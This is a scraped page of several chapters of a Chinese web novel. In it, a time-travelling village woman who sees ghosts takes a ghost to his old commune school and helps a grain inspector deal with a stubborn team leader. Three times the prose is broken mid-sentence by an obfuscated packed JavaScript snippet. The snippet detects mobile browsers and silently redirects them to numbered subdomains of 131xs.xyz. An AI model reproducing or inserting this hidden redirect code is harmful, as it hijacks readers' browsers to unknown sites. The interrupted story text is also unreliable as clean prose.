仓库里晒干的麦子被装进一个又一个的麻袋里,麻袋口被麻绳勒得紧紧的,排着队的社员们挑着扁担,一一将麻袋装在扁担两侧的草筐里,压弯了脊背。 钟家一行人也排到队伍里挪着往前走。 钟老爹挑了满满两箩筐公粮,邓霞和生产队的其他妇女一样,与男人们相比也是不逞多让,她们挑着扁担的脚步虽然沉重,但眼神坚毅,每一步都走得很稳。 木板车上放了两个大麻袋,苗素云把儿子抱到麻袋上面坐着,膝盖微屈,手上用力,把车子推动起来,小国强兴奋的坐在上面四处张望。 钟颖则和她弟这个半劳力一起扛着扁担两头,挑起装得满满的箩筐。 挑着粮食往外走,钟颖看到排在队伍后面的钟大伯一家三口,钟秋收只当没看到弟弟一家,他身后的钟妮和钟拴柱则都挥了挥手。 而在两人身后,悬空飘着的曹芳也朝钟颖打了个招呼,她笑容满面,“大侄女,多谢你和我家妮儿说让她带上我的牌位,今天我也能去公社了!我就不往你那边去了,等下我还要帮妮儿抬筐子。” 钟颖微微颔首,表示自己知道了。 挑着扁担、推着车子的人们向外走,仿佛一条长龙一般,整个同甘生产队倾巢而出,就连生产队里的三只鬼都一起离开了村子。 李长贵也在自己爹娘跟前帮忙,因着丧子之痛,他爹李明仿佛一下子老了十岁,挑着担子的脚步蹒跚,他娘单淑惠红肿着两只桃子眼提着布包跟在旁边,时不时扶一把,颇有种相依为命的感觉。 李长贵心口发酸,不知道眼下的悲剧到底该归咎于何处。 怪他娘只生了他一个?可他娘也苦,生他时遭了大罪坏了身子; 怪他爹不像大伯那样开明,固执死板的非让他这个儿子留在身边尽孝?可他爹不像大伯那样读过书,自然思想跟不上; 怪他为什么不再忍耐一下?可他已经忍耐了太长时间了,“父母之命”如同一座牢笼般困住了他,令他陷入黑暗。 李长贵只能抓着草筐上的绳子帮忙减轻着重量,看着他爹娘的眼神复杂,“爹,娘,是我不孝,这一辈子我先走一步,下一辈子你们来做我的孩子,我让你们读书……” 他语气不禁哽咽。 人只有读书了才会明理,才不会重复这些愚昧思想造成的悲剧。 队伍的后半段气氛就欢快多了,人们挑着扁担一边向前走,一边聊着天,几个孩子在大人之间绕来绕去,撒欢般的追逐打闹,稚嫩的笑声让长途跋涉的辛苦和沉闷都消散了不少。 “昨天晚上我半夜被渴醒,就想要去河边打点水。”赖混子把扁带挪到另一边的肩膀上,和旁边的人说话。 聂英擦了一把额上的汗,“你要是勤快些,自己在家里打口井,也就不用大半夜的跑河边去打水了。” 赖混子假装没听到她说的话,只继续说自己的,“你们不知道我都看到了什么!可给我吓得大半夜没睡着觉!” 他一惊一乍的夸张语气,令周围的人不禁纷纷看了过来。 赖混子享受够众人的注视后,才接着说,他压低声音,“我刚要往河边走,远远就看见一个特别巨大的黑影,有一座房子那么高!” 钟颖忍不住侧头和身后的男鬼对上视线:生产队里还有这种怪物?昨晚上我们不就在河边,你看到了? 李霖时也费解,仔细想了想,还是摇了摇头。 可接着就听赖混子说,“它长了个很奇怪的脑袋,像是大脑袋上串着个小脑袋……” 引得有人惊呼一声。 钟颖却是一阵无语。 ……什么大脑袋上串着个小脑袋,那是她扎的丸子头,为了方便干活她随手盘起来的。 赖混子看到的八成是她被油灯拉长的影子。 因为时间紧,钟颖昨天一个白天只把李霖时的牌位重新刻好,可第二天就要去公社交粮了,她只能晚上加班加点把李长贵的牌位重新做好。 李霖时回他家把油灯拿了过来,钟颖怕点灯后屋子里的光会被起夜的家人们看到,便悄悄溜去了河边,在那里照着油灯抓紧干活。 谁能想到大半夜的居然还能有人往河边走。 赖混子还在继续说,“那东西还一直哼哧哼哧的磨着什么,你们能想象吗?大半夜的这种声音有多吓人吗?” 钟颖面无表情:那是我在刻木头,顺便一提,我不是东西,我是个人。 走在后面的胡打听忍不住急行两步,“该不会是河里的水鬼跑上岸来了吧?” 周围的人纷纷吓白了脸,就连邓霞都面露恐惧。 钟颖表情平静得麻木,虽然河里确实有水鬼,但不好意思,赖混子看到的是她,一个活生生的人。 就在其他人都心生惧意时,有一个人反倒是急切的迎上前来。 刘红艳挑着扁担着急的挤过来,问赖混子,“你看清楚了吗?会不会是我家四儿?他也是死在河里……” 要说河里的水鬼,谁不怕啊,刘红艳也怕,但一想到也许这水鬼会是自己儿子,她就没那么怕了,她甚至还想见见河里的水鬼。 “这……”赖混子迟疑,他哪看清楚了啊?在看到那黑影后,他立刻吓得屁滚尿流往家跑,哪敢多看一眼。 见他这吞吞吐吐的样子,前行队伍里的范五忍不住开口了,“嫂子你别听他瞎说,这人怕是又把什么看岔了。有一回我和赖混子晚上看粮仓,回来的路上他说看到一个垂着头发的女鬼歪着脑袋盯着我们,吓得我和他几乎是小跑着回了家。可等到第二天白天我再去一看,什么女鬼,那就是一棵歪脖子柳树!” 作为过来人的范五戳穿赖混子的故弄玄虚,“你们听他瞎胡说的,看到一分他能说成十分!” 周围人的目光都变了。 赖混子见其他人都看自己像是在看一个胆小鬼,梗着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16509797|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脖子反驳道,“大晚上天那么黑,谁还没有看岔的时候?” 胡打听故意笑他,“那你今天早上没再往河边走去看看?昨晚上你看成大脑袋串小脑袋的到底是哪棵树?” 刘红艳叹了一口气,对着旁边的人苦笑,“我又盼着他早点投胎再做人,又盼着能再见见他。” 旁边的聂英抓着草筐上麻绳的手腾出一只,伸手握住刘红艳,“我懂,当年我的四妮儿走了的时候,我也这么盼着。总会好的,活着的人还要往前看。” 钟颖忍不住抬眸认真看了聂英一眼,这个总和她娘掐架的隔壁婶子好似也不完全是个单一刻板的反派角色。 同甘生产队的队伍不知不觉间接上了前面砬弯沟和榆钱洼社员们的脚步,前行的队伍连绵不断,浩浩荡荡,每个人都挑着沉重的担子一刻不停歇的向前走去,仿佛奔赴一场属于农民们的盛宴。 清晨出发,直到中午才走到公社。粮站坐落在六嶂公社的中心地带,那与乡下房子截然不同的青砖瓦房仿佛带着别样的光辉,离公社近的盘坡口生产大队、周家窝窝生产大队还有稍远些的沈家沟生产队在前面排成了长队,本就在路上缀在队伍后面的同甘生产队众人只能排在最后面。 汗水滑进眼睛里,钟春生把装着满满两麻袋粮食的草筐放在地上,卸下身上的扁担,这才腾出手擦一擦额上混着尘土的汗水,他眯眼遥看着绵延的长队,不计其数全是来交公粮的人,他忍不住叹了口气,“这回儿又有得等了。” “明明今年我们比去年还要提早些出发了,怎么还是我们落在最后。”邓霞放下粮食,忍不住抱怨。 前面的聂英听到邓霞说话的声音回头睨她一眼,撇撇嘴,“都知道等的滋味不好受,就都提早出发了呗。” 钟颖深以为然,这不就是她熟悉的“卷”吗?大家都“卷”等于原地踏步。 旁边的胡打听叹气,“咱们生产队的位置也最远,像他们盘坡口,离粮站最近,稍微早走点就还是能抢了先。” 人们有一搭没一搭的聊着天,孩子们走了一路也都玩累了,像钟国强这样两三岁的小孩躺在年轻的母亲怀里睡着了,大一些的孩子们则自己爬到麻袋上面找位置睡。 钟颖抓住时机,“娘,反正也要等很久,我想去周围逛逛。” 邓霞也没多想,哪次来公社钟颖没到处逛过,都成习惯了,所以她只叮嘱了一句,“别逛太远。” 钟颖一脸乖巧的点点头,很难想象她身上那件两用衫左右两个大口袋里各揣着个迷你版牌位的小木板。 两鬼见钟颖离开队伍中,很快跟上。 走出粮站前的“长龙”后,钟颖停住脚步,站在路口,她还真不知道去六嶂公社中学应该怎么走,去供销社怎么走她倒是知道,记忆中去过好几次。 钟颖看向李霖时。 李长贵不明所以的也随着她的目光看向李霖时。 李霖时默默走到最前面带路。 与两个别着红袖章的少年擦肩而过,钟颖见周围无人,快步追上前面的男鬼,她压低声音,“学校容易进吗?” 毕竟人们看不见他们这两个鬼,但能看到她这个人啊。 钟颖有些担心自己会被学校的门卫拦下来,“有什么小门吗?或者我在学校门口等你们?你们两个鬼自己进去追忆过往?” 转过街角,在看到挂着“六嶂公社中学”牌子的学校后,钟颖发现自己还是担忧得早了,“……你母校还挺热情好客的。” 校门就这么大敞着,仿佛被开肠破肚的残躯。 25. 公社中学 钟颖知道现在的公社中学已经停课,春末时她弟钟信就从学校回来了,然后再也没被通知回去上课;来自未来的她也知道目前这段时间,教育界如残烛一般只剩微弱的火苗,但她生活在火苗重新燃起熊熊烈火的时代,对过去这段惨淡的历史只有从文字上读取的些微印象。 直到此时此刻直面历史,钟颖才觉文字的描述太过浅薄。 明明现在是盛夏时分,艳阳高照,钟颖却有种秋风从校门口吹过的苍凉感,门可罗雀。 “这……”李长贵也没想到自己心心念念多年的学校,亲眼见到会是如此的破败。 在场只有李霖时在此之前见过类似的场景,就连他死前,在回乡前,大学里也是混乱的,不只是应届的68届毕业生在等待分配消息,滞留一年的67届毕业生也在等,没人知道什么时候分配、会被分派到工厂工作还是被分配到基层农村。 比起同学们无望的等待,李霖时一直目标清晰,知道自己读书是为了什么,他没多耽误一天,主动要求作为返乡知识青年回到基层建设农村。 李霖时开口,“我们进去吧。” 钟颖回过神来,趁这会儿学校前的路上没人,匆匆走了进去。 李长贵也打起精神,不管怎么样,这是他一直梦寐以求想来读书的学校。 这一念头注入心底,李长贵再看周围的场景,“这是操场吗?好大!比我们生产队的打麦场还要大!这几个房子都是教室吗?真好,村小只有两间教室。” “对,那边是操场,每天都会有篮球赛,班与班之间、年级与年级之间,有时候老师们也会和学生们比一场。每个学期还会组织一次运动会,跑步、跳远……项目很多。”李霖时说道,描绘着读书时的景象,“这几个平房不只是教室,三幢是教学用房,每幢三个教室,全校三个年级,每个年级三个班级,正正好好。” “那边是老师办公的房子,旁边两幢是教师宿舍,西南角那幢是食堂。我们学生宿舍在学校外面两条街后的北街大院。每天上完课吃了饭、晚自习过后,同学间会相伴一起走上几百米会大院里休息。” 李长贵顺着堂哥的话想象,仿佛自己也切身处地的身处这些画面当中,跟着那些孩子们一起打篮球、读书、结伴回宿舍休息…… 钟颖也在四处打量着这所在她眼中看着粗糙简陋的学校,一扭头,就见李长贵不知何时居然从十九岁青年人的模样变成了十来岁的少年人模样,看着和她弟钟信差不多大。 钟颖一惊,还不等她出声,初中生模样的李长贵就已经迫不及待的钻进一间教室,就像是上课铃响起后急急忙忙回班的学生。 李长贵兴奋的在第一排的椅子上坐下,稀奇的摸着桌子边角,半晌后他才抬起头,朝李霖时招手,“四堂哥,你能当老师给我上一节课吗?” 李霖时突然觉得喉咙里像是堵了什么东西一样,哽得他难受,“……好。” 钟颖扶起倒在地上的桌椅,也试着坐下,只是这些桌椅都是给十几岁的初中生用的,她一个成年人坐下还真有点挤得慌。 她坐在教室靠墙偏中间的一个位置,看着李霖时弯腰捡起一本摊开倒扣在地上的书,然后走上讲台,他长身玉立,讲起课文的样子仿佛儒雅淡然的知识青年。 钟颖不由得有些晃神,如果李霖时还活着,等同甘生产队的村小恢复教学,他一定能成为教书育人的好老师吧。不对,他可是社员们期冀的下一任生产队队长,他本来能做到的事情会更多。 可惜……钟颖突然觉得可惜。 等太阳升至天空的中央,走出教室时,李长贵心愿实现、执念已了,又恢复了原本的青年人模样,他长出了一口气,仿佛把压抑许久的那口郁气吐出,“真希望下辈子我能读书,可惜现在学校都撤办了……” “会的。”钟颖虽然不想向第二个鬼透露自己的来历,但仍隐晦的透露了些未来的发展,“黎明总会来临,文明的火焰不会熄灭,等你投胎转世,下辈子读书一定不会这么难的。” 李长贵回头朝她一笑,只当钟颖的话是在安慰他。 “好了,我们回去吧。”李长贵说,他的心愿已经实现,仿佛倒计时开启,他察觉到自己还能滞留人世间的时间不多了。 在最后的这点时间里,李长贵突然很想再回到爹娘身边。 虽然生前他们如同地缚鬼一般牢牢缠住他、将他捆在同甘生产队里,但在去投胎前,李长贵还是想要回去再看看他们。 回去的路上,李长贵走在了前面,钟颖悄悄落后几步,同李霖时走在与他相隔几十米的后面。 李霖时正好有话想问她,“以后……学校真的还会办吗?” 钟颖闻言兴奋起来,这是这死鬼第一次问她未来的事情,这代表着什么?代表着这鬼终于把她视作一个全新的人了!之前的“锅”终于不用她来背了! “当然!现在这种情况只是一时的。”钟颖压低声音,“不只学校越来越多,学生的数量也越来越多。以后找工作都要本科以上学历,你可以想象未来人们的受教育程度了吧?” 李霖时点头,只是想象了一下,他不由得发自内心的感慨,“真好。” “那当然,日子只会越过越好嘛。”钟颖乘胜追击,“所以,你要不要考虑一下和你堂弟一起去投胎?” 钟颖手指轻敲着下巴,“让我想想,如果你们现在去投胎,这时候还没有计划生育,投胎不限号,你们应该可以很快换号重开,最晚也不过是七十年代出生,和我爸妈是一代人,到长大成人,九十年代不论是大学生还是去做生意,都能吃到一波时代红利!” 她的话语仿佛充满着诱惑,可李霖时仍面容平静,钟颖仔细盯着看了好一会儿,都没有看到他眉眼间有一丝意动。 李长贵回头看了一眼,见李霖时和钟颖并肩说着悄悄话,他自觉又往前走快了几步,他可不想听到什么腻歪的话。 钟颖只好放弃自己的小算盘,她也有问题想要问李霖时,“你刚才是不是说的不全?” 她也上过学,校园生活虽然美好,但总不会像李霖时描述的那样,只有好的一面。 在环境已经变得灰暗不堪,李霖时不想让一直期盼着校园生活的堂弟失望,所以他确实是只拣好的方面说,其他的一点没提。 李霖时侧首,目光停留在钟颖脸上,那些不能对堂弟说的话,面对她时却仿佛没有了那些顾虑和限制,“我当年在这里读书时,学校还是叫六嶂中学,等到第二年,也就是58年的时候,学校改名为六嶂农业中学。” “那年学校划进来一块农场,分班管理,老师们带着学生边劳动、边学习。”李霖时说着,“那时候,累到倒在田坎上睡着是常有的事情。” “再下一年,全国都在闹饥荒,学校 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16515759|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粮食也开始实行定量,按年龄分成三个等级,我因为读书早、年龄在同学里算小的,吃最低等每月24斤粮食。开始定量时,还有大米和菜,偶尔还有肉吃。” “后来变成了一人一个玉米窝头、一碗飘着几片菜叶的汤。” “再后来,就算有学生们自己种菜,收成也不好,玉米窝头也没了,就只能吃红薯。”李霖时想起记忆中当时老师、同学们的样子,个个都是面黄肌瘦,“老师们都是先紧着学生们,一个成年人每月只有19斤的定量,很多老师都得了浮肿病,腿脚肿得厉害,只能拖沓着鞋子走路。” 钟颖没想到听到的会是这些,她自己上学时也辛苦,繁重的课业压力压在身上,和同学们“卷生卷死”,好似少上一个补习班就会落于人后,期末排名一落千丈,再次沦为她爸指责她妈的由头。可这些只是精神上的苦,现代社会发达,钟颖家条件又还不错,她还真没有过缺衣少食的时候。 只能说一代人有一代人的苦,而像李霖时这代人,几乎可以说是经历了所有最艰难的事情,三年困难时期、“浮夸风”的盛行、教育界的动荡浩劫……几乎横亘他求学的经历中,占据他一半的人生。 钟颖定定看着他的侧脸,其实换位思考,如果是她,辛辛苦苦的读了这么多年书,忍饥挨饿、吃尽苦头,好不容易学成之后回到家乡,还没等用自己学到的知识建设乡村,就被村子里只有小学文化水平的男人缠住了,不择手段也要娶她…… 只是这么一想,钟颖就已经拳头硬了,这不是和织女牛郎的故事大同小异吗? 过去人们把织女与牛郎的故事当□□情神话,甚至收录在小学课本里,但随着人们的认知不断进步,重读这一故事反倒察觉出了不对劲。 老黄牛告诉牛郎河边有仙女们洗澡,衣裳都放在岸边,让他捡走其中的粉色纱衣,问他要衣服的就是他的妻子。 嘿,牛郎还真就这么干了,借此为由头,和织女成了婚。 劁的,也不知道是哪个娶不上媳妇的贫农田力幻想出来的故事。 织女好好一个天上的仙女因为“缘分”使然,困于凡间,不仅要用自己织布的技能补贴家用,还为牛郎生下了一儿一女;而同样被“强取豪夺”的李霖时也很惨,他直接连命都搭上了。 也怪不得李霖时一开始几次三番的想要杀她。 钟颖想,如果换做她是被害死的“织女”,她一定会化身成比红衣女鬼更怨毒的恶鬼,上穷碧落下黄泉,她都势必要追杀“牛郎”,不死不休,“牛郎”不死她不停手。 说什么自己不是原主?犯下恶行的人不是他?钟颖只会当做是狡辩,懒得多听一句。 说的什么屁话,杀杀杀——她只想要大卸八块,以解心头之恨! 但现实是,钟颖穿的是“牛郎”这个身份。 钟颖不由得再次庆幸还好自己遇上的是一只能听得进去人话的鬼,不然她怕是一重生就会紧接着开局被秒,哪还会像此刻一般,好好的走在街上,感受微风拂面,送来路边杨树的树脂清香。 还是活着好。 钟颖不能以死谢罪,只能对受害鬼表示同情,她看着李霖时,发自内心的说,“遇到我,你真是倒霉。” 李霖时不知钟颖的脑回路在短时间内已经转了几圈,听到这话只觉原本平和的氛围骤然突变,他暗暗警惕起来,她突然放狠话是想做什么? 26. 收粮 交粮的队伍像蜗牛爬一样,天又热,邓霞等得心浮气躁,突然发觉说是出去逛一逛的闺女已经离开有好一会儿了,她不禁提起心来,“信子,你去找找你姐,她怎么这么久了还没回来。” 钟信一听这话,心也跟着提起来,抬脚就朝他姐离开的方向跑去。 可他一路跑到镇上的供销社,在里面搜寻了一圈,也没看到钟颖的身影,钟信有些急了,好不容易等前面买布的人走了,他立马拦在了售货员面前。 “小同志,买布啊?你家大人给你布票了吗?”售货员问道。 本来在太阳下晒得一脑门汗的钟信此刻心里着急,汗流得更多,他语气急迫,“我不买布,我就想问一下,您刚才有看到一个扎着两个麻花辫的年轻姑娘吗?她是我姐,以前每次来公社都会来你们供销社看看布,看的次数多,买的次数少。” 售货员乐了,“你这么说,我能瞬间想起好几个人。” 钟信急得手足无措。 “你先别急,和我说得详细些,你姐今天穿的衣服是用的啥布?”售货员问起和她工作相关的问题,试图以此来调动记忆。 钟信连忙道,“上面穿的两用衫是白底蓝花的花布!裤子是普通的黑色土布,左边膝盖拼了块色织格子布补丁。” “白底蓝花的花布……”售货员很快想起了什么,“是去年过年时候在我们供销社买的吧?我有点印象……” 钟信期待的看向她。 可售货员接着却说,“但今天还真没有一个穿着这样子衣服的姑娘进我们供销社。杜大哥,你有印象吗?” 旁边糖果柜台的售货员也仔细想了想,随即摇了摇头。 钟信只能离开供销社,在街上茫然寻找着。 直到钟信四处都找遍了,无功而返,准备走回粮站时,他才终于远远看到了钟颖的身影,钟信睁大了眼睛,他姐怎么在粮站门口?而且还和收粮的干部们站在一起? 这就要说回一人两鬼离开六嶂公社中学后的事情,钟颖和李霖时落在后面只顾着说话,这边的路李长贵只有来时走过一次,回去的时候他打头,果不其然走错了岔路口,令他们兜了个大圈子,从另一个方向绕回了粮站。 钟颖远眺着长龙般队伍后面的同甘生产队众人,又看了看不远处的粮站,反正回去也是干等着,她决定去前面粮站看看,她实在是有些好奇为什么收粮这么慢。 走近后钟颖才看清,面色黝黑老农民样子的中年男人把装满粮食的麻袋放在刷着绿漆的大秤上,然后和身边的人一起紧张的看着粮站验质员。 钟颖接受过原身的记忆,可以理解这些人的紧张。 对于来交粮的农民们来说,粮站收购验质员虽然不是官职,但手握实权,他们决定着粮食晾晒得是否达标,如果验收不合格,社员们只能将粮食拉回去再次晾晒、过筛,整理后再拉回来交粮。 在这样的炎炎夏日,返工晾晒和来回折腾无疑增加了人们的负担,人们不得不更加用心,谁都想一次就把粮交上。 而作为交粮的关卡,人们想要通过粮站验收员的检验,不亚于过鬼门关,也因此,民间起了一些别称。 验质员先是过磅记了一下这袋粮食的重量,接着拿一根空心铁钎插进麻袋中,豁出一道口子,粮食立时顺流而下。这根铁钎叫做“扎心钎”。 流出来的粮食被验质员接到一个铝制细孔小圆筛子里,杂质无处遁形,纷纷被筛出去。人们管这叫“阎王筛”。 最后,验质员抓起几粒粮食塞进嘴里,他们常做这活儿的,嘴巴都练出来了,水分含量一嚼便知,如果还有点湿就让社员们拉回去再晒。这叫“老虎牙”。 “三关”都过了,才意味着粮食达标可以入库了。 钟颖站在旁边别有兴致的看这在现代早已消失的事。 李长贵兴趣缺缺,对着钟颖打了个招呼,“四堂嫂,我去找我爹娘了。” 钟颖的心神全系于收粮的场景上,也就没理会李长贵仍沉浸在“扮家家酒”的叫法,只朝他挥了挥手。 她又扭头看向李霖时,随口问了一句,“你也回吗?” 李霖时在她的注视下,张开嘴竟一时不知道如何回答。 钟颖看他不走,“那正好,我再凉快一会儿。” 有免费的“空调”谁不蹭啊,尤其是在这没有空调的年头。 看了有一会儿,钟颖才有些明白为什么收粮的速度这么慢了。 固然有人多的原因,排在队伍前面的盘坡口和周家窝窝都是人口非常多的生产大队,同样前身都是村子,但同甘村因为地势偏远、又经过一次山洪的浩劫,目前总共就十四户人家,所以只和规模同样不大的砬弯沟、榆钱洼、沈家沟一样设立为生产队。 而像盘坡口和周家窝窝这样的生产大队里,又细分了生产队,整个村子不只有大队长,还有各个生产队的队长。 这有话语权的人多了,不可避免的会有摩擦。 钟颖看着因为粮食不合格而吵起来的两个生产小队的队长,不禁在心里感慨,人多的地方就是容易有纷争,原先她上班时她的组长也经常和隔壁组组长有冲突,谁都想自己能够踩别人一头,升上更高的位置。 这边验质员好不容易把差点儿就要动手的两人撕开了,让其中一人去找旁边验质员验粮。 “这一袋的粮食不行,杂质太多,拿回去重新过筛;那边那一袋粮食太湿,要再晒个两遍;这一袋可以,计重四十五斤,可以先入库,我等会儿发你一张公粮上交凭证,你可要收好了,缺多少改天补过来;这袋也一样,还要再晒……” 围着的人们被“这一袋、那一袋”的绕晕了,纷纷看向他们第二小队的队长张九田。 在众人的目光下,张九田只好上前和这个年轻的验质员交涉,拦住他继续查看别的麻袋粮食的动作,“同志,您说的这一袋粮食要重新筛杂质、那一袋粮食要重新筛的,我们这等会儿就弄混了。” 他从口袋中摸出一包特意从供销社买来的烟悄悄塞进验质员的手里,腆着脸笑道,“您看要不只给我们留下要重新晒的粮食,其余的就帮我们入库——” 往常都管用的招数这次却失了效,董光手腕一翻,借着翻记事簿的动作避开了那包烟,脸上表情平淡,“要再晒的我会在麻袋上写个‘晒’字,要再过筛的我会写个‘筛’字。” 张九田气恼这年轻验质员的不识好歹,自认年纪大吃过的盐多,男人的自信盖过了身份地位的压制,故意为难他,“哎呦您这不是为难人吗?我们田间地头的人哪有几个识字的?回去保管还是分不清!” 董光抬头四下看看,见旁边盘坡口大队第五小队的队长正在看凭证上的字,他抬手指向那边,“回去之后,你让其他生产队的队长帮你看看。” “不行的,我和那耿春民刚刚才撕破脸差点打起来,他肯定不能诚心帮我。”张九田故意这么说,他就是不想带这么多不合格的粮食回去,让盘坡口其他小队笑话。 董光毕业分配到粮站工作这才第二年,去年有师傅带着平安无事的度过了,没想到今年他刚一个人独立做验质员就遇上了老油条,难道真就像别人说的,脸嫩的就容易被欺负吗? 尽管如此,董光也不打算低头,他有他的工作原则,不会刻意为难别人、卡别人交上来的粮食,也不会因为别人为难他就擅自降低标准。 董光面无表情的看向张九田,“那我给你做个记号行吗?要晒的我画个圈, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521917|185220||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要过筛的我给你画个方块。” 张九田还是一副难缠模样,“我属猪脑子的,你给我画了,我回去也能忘记到底什么图案是什么意思。” 交粮的队伍排出去那么老长,张九田深知等得越久人们越会烦躁,他就不信卡在这里其他人不会有意见,到时候迫于民愤,这愣头青咬着牙也要把他的粮食收下,不过就混了点麸皮,一麻袋也就多个一两斤沉,至于这么较真儿吗? 果然如他所想,卡住的时间久了,排队等待的队伍里出现骚动,就连来视察工作的公社同志们也察觉到了不对。 公社副主任丁秉瑞看到停住的队伍前年轻的粮站验质员与社员对峙,他不禁皱了皱眉毛,想要上前去调解问题,可有人抢在了他的前面。 “画具体点总能看懂了吧?”钟颖走过来没好气地说,她在一旁实在是看不下去了,要是都像这人似的,脸皮比天厚、拿着无知当令牌,排在队伍最后面的同甘生产队众人怕是天黑都交不上粮食。 董光闻声看过去,只觉这迎面走过来的女同志仿佛周身带着一种仗义执言的正义光芒。 张九田扭头看钟颖,不客气的说,“你一个丫头管什么闲事?” “你一个大男人又在这里磨磨叽叽什么?”钟颖才不自证,只又抛出去一个同样带有侮辱性的问题,她对着那验质员说,“笔给我。” 刚才还冷着脸铁面无私的董光此刻真有了些“愣头青”的样子,怔怔的把手上的笔递给她。 钟颖接过水笔,又确认了一遍,“这袋是要晒,那袋是要再过筛对吧?” 董光应了一声,“对,没错。” 钟颖蹲下身来,三两笔就在麻袋上画了个形象的太阳,而另一个麻袋上,她则仿照着验质员手里的“阎王筛”,画了一个简笔画版的小圆筛子。 画完,钟颖站起身来看向闹事的人,似笑非笑的问,“这下总不会看不懂和搞混了吧?” 张九田哑口无言,这下他还能再说什么,他总不能再说看不明白了,连个画得这么形象的图都看不懂,他是没长眼睛还是没长脑子? 钟颖转身,轻轻嗤笑一声,对那验质员说,“继续验粮吧,我在旁边帮你画记号。” “啊?”董光回过神来,动作有些许的慌乱,“好、好的。” 李霖时这才将视线从钟颖身上挪开,落到这验质员身上时他不禁皱起眉,目光阴沉冷冽又带着些许的嫌弃。 丁秉瑞目睹了全过程,这才重新抬起脚走过来。 董光看到他,连忙给钟颖介绍,“这是公社的丁副主任,今天来视察粮站的收粮工作。” 说完他就尊敬的朝丁秉瑞打了个招呼,“丁副主任。” 钟颖也跟着对眼前这个四十多岁、看着很温和体面的中年男人喊了一声,“丁副主任。” 丁秉瑞和蔼的看着面前这两个年轻人点点头,接着目光更多的还是落在钟颖身上,从刚刚她的举动上,他看到了一种潜质。 不怕事,敢出头;面对别人的质问反而问回去;以及之后四两拨千斤的应对。 比他年轻时做得还要好。 他刚参加工作时遇到难沟通的人也有过急赤白脸的时候,还是吃了几回亏后,在当时栽培他的副书记苦心教导下,带着他打了几回太极,他才明悟什么叫“隔山打牛”、“以柔克刚”。 丁秉瑞看到了钟颖身上比他还要优秀的潜质,他目光更加和善,问她,“你叫什么名字?哪个生产队的?” 钟颖虽然有些莫名,但只把这当作领导平易近人、贴近群众的一种表现手法,不同于旁边验质员看向她的激动神情,她面色如常的回答,“我是同甘生产队的。” “我叫钟颖,颖山的颖。” 27. 选婿006 赶在天色彻底黑下来前,同甘生产队的众人终于交上了粮,虽然有两麻袋的麦子有点湿,可能是哪次下雨抢场还是慢了一步、沾上了雨水的湿气,但通过验收的麦子加起来重量已经完成了征收任务。 大家伙高高兴兴的挑着空空的草筐,两麻袋粮食则放在推车上,推着也不沉,虽然不符合上交标准,但这也不影响人们吃,剩下的粮食除了要留做种子和牲畜的饲料,其余的都可以分给生产队的各人各家。 一年来除了过年,也就夏收秋收交了粮之后的这段时间最令人高兴了。 回程的路上人们脚步轻快,还有人吟唱起不着调的山歌,惹得周围人纷纷失笑。 钟颖也不由得会心一笑。 “公社的领导特意问了你的名字,显然想要给你递出橄榄枝,”跟在她身边的男鬼幽幽的问,“你就不心动吗?” 周围乡亲们都在,钟颖也就没直接出声回答,只摇了下头。 她是真的没有什么想法,她就是一条咸鱼,就想待在同甘生产队的地界里“发烂发臭”。 因为之前她爸对追名逐利狂热到不顾妻儿,钟颖对当“官”毫无兴趣,甚至还有些厌恶和抵触。 走回家已经是半夜,众人那股兴奋劲儿被疲惫覆盖,简单冲洗一番去掉身上奔波的尘土和汗水后就纷纷入睡。 钟颖趁着家里人都睡沉了,悄悄溜出了家门。 牛头马面似乎感受到了李长贵终于愿意去投胎的想法,神出鬼没的再次出现了。 钟颖、李霖时和曹芳都来送李长贵最后一程。 牛头立刻看向这两个鬼兴奋的问,“一起走吗?” 曹芳讪笑着摇摇头,“我还是和以前一样,等我闺女结婚了,我再去投胎。” 李霖时没应声,他也不知道自己到底是怎么想的,只默默将双手背到身后,一只手攥住了手腕上的异物,纷杂思绪中只有一个念头是清晰的,就是他还不想就这么离开。 牛头立时长吁短叹,很是失望的样子,“我还以为这次能多带走几个。” 马面倒是比他看得透彻,淡淡的说,“我早已料到了。” 两阴差向旁边退开了一步,给李长贵道别留出空间。 “四堂嫂,我也不用你给我供香火,你给我刻的那块牌位就扔火里当柴火烧了吧。”李长贵看着钟颖说道,“还有,多谢你帮我实现最后的心愿,让我可以不带遗憾的走。” 钟颖心安理得的接下了这声道谢,她刻了两遍、刻下的四个牌位以及熬的大夜值得获得这份谢意。 李长贵又看向李霖时,“四堂哥,我的执念已经去了,你的呢?” 说完,李长贵的目光又不由得落到李霖时旁边的钟颖身上,他有些头疼,感觉为了他,反倒害得堂哥执念更深,都已经拜过天地了,他堂哥真的还能放下吗? 